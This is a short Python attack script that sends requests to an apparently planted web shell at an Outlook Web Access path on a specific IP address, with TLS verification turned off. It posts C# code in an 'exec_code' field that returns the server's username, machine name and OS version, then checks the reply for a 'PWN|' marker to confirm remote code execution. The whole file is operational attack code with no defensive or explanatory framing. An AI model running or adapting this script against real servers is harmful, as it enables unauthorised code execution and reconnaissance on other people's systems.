#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
U = "https://103.167.140.144/owa/auth/mdcajy.aspx"
PAY = 'Response.Write("PWN|"+System.Environment.UserName+"|"+System.Environment.MachineName+"|"+System.Environment.OSVersion);'

print("=== GET ===")
try:
    r = requests.get(U, verify=False, timeout=30)
    print("code", r.status_code, "len", len(r.content), "ct", r.headers.get('Content-Type'), "server", r.headers.get('Server'))
    print("head200:", repr(r.content[:200]))
except Exception as e:
    print("EXC", type(e).__name__, str(e)[:120])

print("=== POST form ===")
try:
    r = requests.post(U, data={"exec_code": PAY}, verify=False, timeout=40)
    print("code", r.status_code, "len", len(r.content))
    print("head300:", repr(r.content[:300]))
    print("PWN?", "PWN|" in r.text[:500])
except Exception as e:
    print("EXC", type(e).__name__, str(e)[:120])

print("=== POST query ===")
try:
    r = requests.post(U, params={"exec_code": PAY}, verify=False, timeout=40)
    print("code", r.status_code, "len", len(r.content))
    print("head300:", repr(r.content[:300]))
    print("PWN?", "PWN|" in r.text[:500])
except Exception as e:
    print("EXC", type(e).__name__, str(e)[:120])
